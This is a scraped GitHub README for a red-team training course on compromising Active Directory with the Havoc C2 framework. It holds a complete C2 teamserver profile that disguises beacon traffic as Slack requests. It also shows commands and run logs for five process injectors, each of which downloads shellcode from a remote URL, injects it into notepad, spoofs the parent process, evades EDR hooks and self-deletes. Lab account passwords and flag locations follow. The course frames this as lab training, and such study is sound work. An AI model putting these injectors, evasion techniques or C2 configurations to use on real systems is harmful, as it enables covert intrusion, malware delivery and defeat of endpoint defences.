timwhitez starred RedTeamOps-Havoc-101
2023-4-10 16:57:20 Author: github.com(查看原文) 阅读量:49 收藏

Learn how to compromise an Active Directory Infrastructure by simulating adversarial Tactics, Techniques and Procedures (TTPs) using Havoc Framework.

Agenda

Chapter 1: Intro to C2

  1. Basic Functionalities of Havoc
  2. Malleable C2 Profile
  3. C2 Infrastructure Design

Chapter 2: OPSEC & Evasion

  1. Built-In Evasion Mechanism of Havoc
  2. AV Evasion (Custom Injector)
  3. EDR Bypass
  4. Post-Exploitation Defense Evasion

Chapter 3: Active Directory

  1. Local Privilege Escalation
  2. Kerberos Attacks
  3. Lateral Movement
  4. Pivoting

Lab Setup

Virtual Machine Username Password RAM Storage Note Used In (Chapter) Download Link
Attacker Linux havoc havoc 4 GB 18 GB Semi-Mandatory 1, 2, 3 OneDrive
Attacker Windows Havoc havoc 4 GB 25 GB Mandatory 1, 2 OneDrive
Redirector redirector havoc 1 GB 5 GB Optional 1, 2 OneDrive
Domain Controller - - 2 GB 15 GB Mandatory 3 OneDrive
Workstation 1 - - 1 GB 15 GB Mandatory 3 OneDrive
Workstation 2 - - 1 GB 15 GB Mandatory 3 OneDrive

Chapter 1: Intro to C2

C2 Malleable Profile

Teamserver {
	Host = "0.0.0.0"
	Port = 40056

	Build {
	    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
	    Nasm = "/usr/bin/nasm"
	}
}

WebHook {
    Discord {
        # WEBHOOK TOKEN HERE
        Url = ""

        AvatarUrl = "https://raw.githubusercontent.com/HavocFramework/Havoc/main/Assets/Havoc.png"

        User = "Havoc"
    }
}

Operators {
	user "5pider" {
		Password = "password"
	}

	user "havoc" {
		Password = "password"
	}
}

Listeners {
    Http {
        Name         = "HTTP"
        Hosts        = [
            "192.168.231.131", # CHANGE TO TEAM SERVER IP
        ]
        HostBind     = "192.168.231.131" # CHANGE TO TEAM SERVER IP
        HostRotation = "round-robin"
        Port         = 80
        Secure       = false
        UserAgent    = "Slack/415620 CFNetwork/1240.0.4 Darwin/20.5.0"

        Headers = [
            "Host: msdevchat.slack.com",
            "X-Via: haproxy-www-w6k7",
            "X-Slack-Req-Id: 6319165c-f976-4d0666532",
            "X-Slack-Backend: h",
        ]
    }

    Http {
        Name         = "HTTPS"
        Hosts        = [
            "192.168.231.129", # CHANGE TO REDIRECTOR IP
        ]
        HostBind     = "0.0.0.0" # DO NOT CHANGE
        HostRotation = "round-robin"
        Port         = 443
        Secure       = true
        UserAgent    = "Slack/415620 CFNetwork/1240.0.4 Darwin/20.5.0"

        Headers = [
            "Host: msdevchat.slack.com",
            "X-Via: haproxy-www-w6k7",
            "X-Slack-Req-Id: 6319165c-f976-4d0666532",
            "X-Slack-Backend: h",
        ]
    }

    Smb {
        Name     = "SMB"
        PipeName = "ntsvcs"
    }
}

Demon {
    Sleep = 5

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

C2 Infrastructure Design

[Redirector] [Stager]

Chapter 2: OPSEC & Evasion

Runner

Runner is the 1st out of 5 Proof-of-Concept Process Injectors that takes an arbitrary shellcode from a remote URL and perform shellcode injection on a sacrificial process notepad.exe using Win32 API calls. It also supports Parent Process ID (PPID) Spoofing, allowing the sacrificial process to spawn under an arbitrary process using it's PID. If the target -t, --target is not specified, it will perform self-injection instead.

OPSEC Tips: Allocating RWX region is a major outlier for detection as programs will rarely have memory region of RWX. Always allocate RW then flip it to RX.

C:\>Runner.exe -u http://192.168.231.128:9090/demon.bin -t notepad -p 4160 -k

                 /\
                ( ;`~v/~~~ ;._
             ,/'"/^) ' < o\  '".~'\\\--,
           ,/",/W  u '`. ~  >,._..,   )'
          ,/'  w  ,U^v  ;//^)/')/^\;~)'
       ,/"'/   W` ^v  W |;         )/'
     ;''  |  v' v`" W }  \\
    "    .'\    v  `v/^W,) '\)\.)\/)
             `\   ,/,)'   ''')/^"-;'
                  \
                ".
               \    Runner
               
Process Injector 1: Runner (Win32 API)

  -u, --url      Required. Remote URL address for raw shellcode.

  -t, --target   Specify the target/victim process. Default: Self-injection

  -p, --parent   Spoof victim process under a Parent Process ID (This option is ignored for self-injection)

  -k, --kill     Enable self-destruct to auto wipe file from disk.

  -h, --help     Display help screen manual.
  
|--------------
| Payload       : http://192.168.231.128:9090/demon.bin
| Process       : C:\Windows\System32\notepad.exe
| PPID Spoofing : 4160
| Self Destruct : True
|--------------

[>] CreateProcessW()
    |-> Target Process Created!
    |-> PID: 12180

[>] Fetching Payload

[>] VirtualAllocEx()
    |-> Base Address: 0x15A89D70000

[>] WriteProcessMemory()
    |-> Shellcode Injected!

[>] VirtualProtectEx()
    |-> Flipping Memory Protection!

[>] CreateRemoteThread()
    |-> Shellcode Executed!

[>] DeleteProcThreadAttributeList()
    |-> Deleting Process Artifacts!

[>] CloseHandle()
    |-> Closing Process Handle!

[>] CloseHandle()
    |-> Closing Thread Handle!

[>] Runner.exe removed from disk!

Clicker

Clicker is a Proof-of-Concept loader for code injection using NT*API calls to defeat Kernel32 API Monitoring. All Win32 APIs are mapped to the respective NT level API as follows:

Win32 API NT*API
VirtualAllocEx NtAllocateVirtualMemory
WriteProcessMemory NtWriteVirtualMemory
VirtualProtectEx NtProtectVirtualMemory
CreateRemoteThread NtCreateThreadEx
C:\>Clicker.exe -u http://192.168.231.128:9090/demon.bin -t notepad -p 4160 -k

       .:'                                  `:.
      ::'                                    `::
     :: :.                                  .: ::
      `:. `:.             .             .:'  .:'
       `::. `::           !           ::' .::'
           `::.`::.    .' ! `.    .::'.::'
             `:.  `::::'':!:``::::'   ::'
             :'*:::.  .:' ! `:.  .:::*`:
            :: HHH::.   ` ! '   .::HHH ::
           ::: `H TH::.  `!'  .::HT H' :::
           ::..  `THHH:`:   :':HHHT'  ..::
           `::      `T: `. .' :T'      ::'
             `:. .   :         :   . .:'
               `::'               `::'
                 :'  .`.  .  .'.  `:
                 :' ::.       .:: `:
                 :' `:::     :::' `:
                  `.  ``     ''  .'
                   :`...........':
                   ` :`.     .': '
                    `:  `"""'  :'   Clicker
                    
Process Injector 2: Clicker (Nt*API)

  -u, --url      Required. Remote URL address for raw shellcode.

  -t, --target   Specify the target/victim process. Default: Self-injection

  -p, --parent   Spoof victim process under a Parent Process ID (This option is ignored for self-injection)

  -k, --kill     Enable self-destruct to auto wipe file from disk.

  -h, --help     Display help screen manual.
  
|--------------
| Payload       : http://192.168.231.128:9090/demon.bin
| Process       : C:\Windows\System32\notepad.exe
| PPID Spoofing : 4160
| Self Destruct : True
|--------------

[>] CreateProcessW()
    |-> Target Process Created!
    |-> PID: 13092

[>] Fetching Payload
    |-> Payload retrieved successfully!

[>] NtAllocateVirtualMemory()
    |-> Base Address: 0x23229800000

[>] NtWriteVirtualMemory()
    |-> Shellcode Injected!

[>] NtProtectVirtualMemory()
    |-> Flipping Memory Protection!

[>] NtCreateThreadEx()
    |-> Shellcode Executed!

[>] DeleteProcThreadAttributeList()
    |-> Deleting Process Artifacts!

[>] CloseHandle()
    |-> Closing Process Handle!

[>] CloseHandle()
    |-> Closing Thread Handle!

[>] Clicker.exe removed from disk!

SylantStrike

Home-made Endpoint Detection & Response (EDR) to hook NT*API calls. The hooking logic is not implemented perfectly and has a high chance of false positive. Use only for demonstrating EDR bypass.

PS C:\Users\havoc\Desktop\Tools\SylantStrike\x64\Release> .\SylantStrikeInject.exe --process=Clicker.exe --dll=C:\Users\havoc\Desktop\Tools\SylantStrike\x64\Release\SylantStrike.dll
Waiting for process events
+ Listening for the following processes: clicker.exe

 Injecting process Clicker.exe(4312) with DLL C:\Users\havoc\Desktop\Tools\SylantStrike\x64\Release\SylantStrike.dll

Bloater

Bloater is a wrapper used to side-load Clicker for demonstrating Process Mitigation Policy. This technique prevents security vendors from reflectively loading EDR DLLs that are not digitally signed by Microsoft. As a result, kernel32.dll and ntdll.dll of newly spawned processes will not be hooked by EDR vendors unless they have Intermediate Certificates handed out by Microsoft.

C:\>Bloater.exe -f ./Clicker.exe -p 4160 -u http://192.168.231.128:9090/demon.bin -t notepad -s 4160
                                                                    _
                                                                  _( (~\
           _ _                        /                          ( \> > \
       -/~/ / ~\                     :;                \       _  > /(~\/
      || | | /\ ;\                   |l      _____     |;     ( \/    > >
      _\\)\)\)/ ;;;                  `8o __-~     ~\   d|      \      //
     ///(())(__/~;;\                  "88p;.  -. _\_;.oP        (_._/ /
    (((__   __ \\   \                  `>,% (\  (\./)8"         ;:'  i
    )))--`.'-- (( ;,8 \               ,;%%%:  ./V^^^V'          ;.   ;.
    ((\   |   /)) .,88  `: ..,,;;;;,-::::::'_::\   ||\         ;[8:   ;
     )|  ~-~  |(|(888; ..``'::::8888oooooo.  :\`^^^/,,~--._    |88::  |
     |\ -===- /|  \8;; ``:.      oo.8888888888:`((( o.ooo8888Oo;:;:'  |
     |_~-___-~_|   `-\.   `        `o`88888888b` )) 888b88888P""'     ;
     ; ~~~~;~~         "`--_`.       b`888888888;(.,"888b888"  ..::;-'
       ;      ;              ~"-....  b`8888888:::::.`8888. .:;;;''
          ;    ;                 `:::. `:::OOO:::::::.`OO' ;;;''
     :       ;                     `.      "``::::::''    .'
        ;                           `.   \_              /
      ;       ;                       +:   ~~--  `:'  -';
                                       `:         : .::/    Bloater
          ;                            ;;+_  :::. :..;;;
                                       ;;;;;;,;;;;;;;;,;

Process Injector 3 (Wrapper): Bloater (Process Mitigation Policy)

  -f, --file       Required. Absolute path of file to be executed.

  -p, --parent     Required. Spoof --file under a Parent Process ID.

  -u, --url        Required. Remote URL address for raw shellcode.

  -t, --target     Specify the target/victim process. Default: Self-injection

  -s, --spoof      Spoof --target under a Parent Process ID.

  -h, --help       Display help screen manual.
  
|--------------
| File          : ./Clicker.exe
| PPID Spoofing : 4160
| Argument 1    : http://192.168.231.128:9090/demon.bin
| Argument 2    : notepad
| Argument 3    : 4160
|--------------

[>] CreateProcessW()
    |-> Process Mitigation Policy Enforced!
    |-> Spoofed Parent PID Successfully!
    |-> Target Process Created!
    |-> PID: 19520

RatKing

RatKing is the successor of Clicker as it uses the same boilerplate to perform process injection. At runtime, a fresh copy of ntdll.dll is loaded into the process. The original ntdll.dll that was hooked by EDR is left untouched. All NT*API are exported and called from the clean copy of ntdll.dll instead. This EDR evasion method is especially effective because the integrity of EDR hooks are not tampered with.

C:\>RatKing.exe -u http://192.168.231.128:9090/demon.bin -t notepad -p 4160 -k

              .'''''-,              ,-`````.
              `-.._  |              |  _..-'
                 \    `,          ,'    /
                 '=   ,/          \,   =`
                 '=   (            )   =`
                .\    /            \    /.
               /  `,.'              `.,'  \
               \   `.                ,'   /
                \    \              /    /
                 \   .`.  __.---. ,`.   /
                  \.' .'``        `. `./
                   \.'  -'''-..     `./
                   /  /        '.      \
                  /  / .--  .-'''`      '.
                 '   |    ,---.    _      \
     /``-----._.-.   \   / ,-. '-'   '.   .-._.-----``\
     \__ .     | :    `.' ((O))   ,-.  \  : |     . __/
      `.  '-...\_`     |   '-'   ((O)) |  '_/...-`  .'
 .----..)    `    \     \      /  '-'  / /    '    (..----.
(o      `.  /      \     \    /\     .' /      \  .'      o)
 ```---..   `.     /`.    '--'  '---' .'\     .'   ..---```
         `-.  `.  /`.  `.           .' .'\  .'  .-'
            `..` /   `.'  ` - - - ' `.'   \ '..'
                /    /                \    \
               /   ,'                  `.   \
               \  ,'`.                .'`.  /
                `/    \              /    \'
                 ,=   (              )   =,
                 ,=   '\            /`   =,
   RatKing       /    .'            `.    \
              .-'''  |                |  ```-.
              `......'                `......'

Process Injector 4: RatKing (Manual Mapping ntdll.dll)

  -u, --url      Required. Remote URL address for raw shellcode.

  -t, --target   Specify the target/victim process. Default: Self-injection

  -p, --parent   Spoof victim process under a Parent Process ID (This option is ignored for self-injection)

  -k, --kill     Enable self-destruct to auto wipe file from disk.

  -h, --help     Display help screen manual.

|--------------
| Payload       : http://192.168.231.128:9090/demon.bin
| Process       : C:\Windows\System32\notepad.exe
| PPID Spoofing : 4160
| Self Destruct : True
|--------------

[>] Resolving Addresses of ntdll.dll
    |-> Original ntdll.dll: 0x7ff856c10000
    |-> New copy of ntdll.dll: 0x1a068730000
    
[>] CreateProcessW()
    |-> Target Process Created!
    |-> PID: 9168

[>] Fetching Payload
    |-> Payload retrieved successfully!

[>] NtAllocateVirtualMemory()
    |-> Base Address: 0x28D20A30000

[>] NtWriteVirtualMemory()
    |-> Shellcode Injected!

[>] NtProtectVirtualMemory()
    |-> Flipping Memory Protection!

[>] NtCreateThreadEx()
    |-> Shellcode Executed!

[>] DeleteProcThreadAttributeList()
    |-> Deleting Process Artifacts!

[>] CloseHandle()
    |-> Closing Process Handle!

[>] CloseHandle()
    |-> Closing Thread Handle!

[>] RatKing.exe removed from disk!

RustKing

RustKing is an adapted version of RatKing on steroids, written in Rust. The intention is to make Reverse Engineering significantly harder.

NOTE: RustKing does not support HTTPS payload download and PPID spoofing. Additionally, target process has to be opened manually prior to running RustKing. --target must be exact match.

C:\>RustKing.exe --url http://192.168.231.128:9090/demon.bin --target notepad.exe

                    ..:::::::::..
               ..:::aad8888888baa:::..
            .::::d:?88888888888?::8b::::.
          .:::d8888:?88888888??a888888b:::.
        .:::d8888888a8888888aa8888888888b:::.
       ::::dP::::::::88888888888::::::::Yb::::
      ::::dP:::::::::Y888888888P:::::::::Yb::::
     ::::d8:::::::::::Y8888888P:::::::::::8b::::
    .::::88::::::::::::Y88888P::::::::::::88::::.
    :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::
    :::::::Y88888888888P::|::Y88888888888P:::::::
    ::::::::::::::::888:::|:::888::::::::::::::::
    `:::::::::::::::8888888888888b::::::::::::::'
     :::::::::::::::88888888888888::::::::::::::
      :::::::::::::d88888888888888:::::::::::::
       ::::::::::::88::88::88:::88::::::::::::
        `::::::::::88::88::88:::88::::::::::'
          `::::::::88::88::P::::88::::::::'
            `::::::88::88:::::::88::::::'
               ``:::::::::::::::::::''
    OffensiveRust   ``:::::::::''    RustKing

[>] Scanning for notepad.exe...
    |-> Found process!
    |-> PID: 11588

[>] Fetching Payload!
    |-> URL: http://192.168.231.128:9090/demon.bin

[>] Resolving Addresses of ntdll.dll
    |-> Original ntdll.dll: 0x7FF856C10000
    |-> New copy of ntdll.dll: 0x1869DB30000

[>] NtAllocateVirtualMemory()
    |-> Base Address: 0x1ED3C1F0000

[>] NtWriteVirtualMemory()
    |-> Shellcode Injected!

[>] NtProtectVirtualMemory()
    |-> Flipping Memory Protection!

[>] NtCreateThreadEx()
    |-> Shellcode Executed!

Chapter 3: Active Directory

Before we start, please ensure the Automatic Sample Submission in Windows Defender AV is disabled and Real-Time Protection is up and running.

Active Directory Network Diagram

image

Active Directory Network Addresses

  1. DC01

    • Secure Network
      • Static IPv4: 10.10.101.131
      • Subnet Mask: 255.255.255.0
      • Default Gateway: 10.10.101.1
      • Preferred DNS: 127.0.0.1
      • Alternate DNS: 8.8.8.8
  2. WORKSTATION-01

    • External Network

      • Dynamic IPv4: 192.168.25.xxx (DHCP will assign)
      • Subnet Mask: auto-assigned
      • Default Gateway: auto-assigned
      • Preferred DNS: auto-assigned
      • Alternate DNS: auto-assigned
    • Internal Network

      • Static IPv4: 10.10.100.128
      • Subnet Mask: 255.255.255.0
      • Default Gateway:
      • Preferred DNS: 10.10.100.129
      • Alternate DNS: 8.8.8.8
    • Secure Network

      • Static IPv4: 10.10.101.129
      • Subnet Mask: 255.255.255.0
      • Default Gateway: 10.10.101.1
      • Preferred DNS: 10.10.101.131
      • Alternate DNS: 8.8.8.8
  3. WORKSTATION-02

    • Internal Network

      • Static IPv4: 10.10.100.129
      • Subnet Mask: 255.255.255.0
      • Default Gateway:
      • Preferred DNS: 10.10.100.128
      • Alternate DNS: 8.8.8.8
    • Secure Network

      • Static IPv4: 10.10.101.132
      • Subnet Mask: 255.255.255.0
      • Default Gateway: 10.10.101.1
      • Preferred DNS: 10.10.101.131
      • Alternate DNS: 8.8.8.8

Active Directory Users and Computers

First Name Last Name Username Password Group Involvement
administrator [email protected]$$w0rd! Domain Admins *
Aaron Adams a.adams C0nc0Rd1776! Senior Management, Domain Admins
Jonathan Taylor j.taylor Lexington1776! IT Admins, Administrators
Jillian Anthony j.anthony H1dD3nV4ll3y! Engineering
Tabitha Carter t.carter [email protected] Engineering
Megan Phillips m.phillips L4k3LiV3L0ve! Engineering, Group Policy Creator Owners
Richard Smith r.smith Baseball123! Engineering
Samantha Chisholm s.chisholm FallOutBoy1! Sales *
Margaret Seitz m.seitz [email protected] Engineering *
Aaron Tarolli a.tarolli Password123! Sales *
Zane Dickens z.dickens M0t0rH3Ad65^$# Sales
Machines Local Admin Domain Users
WORKSTATION-01.havoc.local s.chisholm m.seitz, a.tarolli
WORKSTATION-02.havoc.local m.seitz
DC01.havoc.local administrator

Active Directory Flag Details

  • Flag Format: HAVOC{MD5}
  • Flag Amount: 3
  • Flag Location: \\COMPUTER-NAME\C$\Users\localadmin-or-administrator\Desktop\flag.txt

文章来源: https://github.com/WesleyWong420/RedTeamOps-Havoc-101
如有侵权请联系:admin#unsafe.sh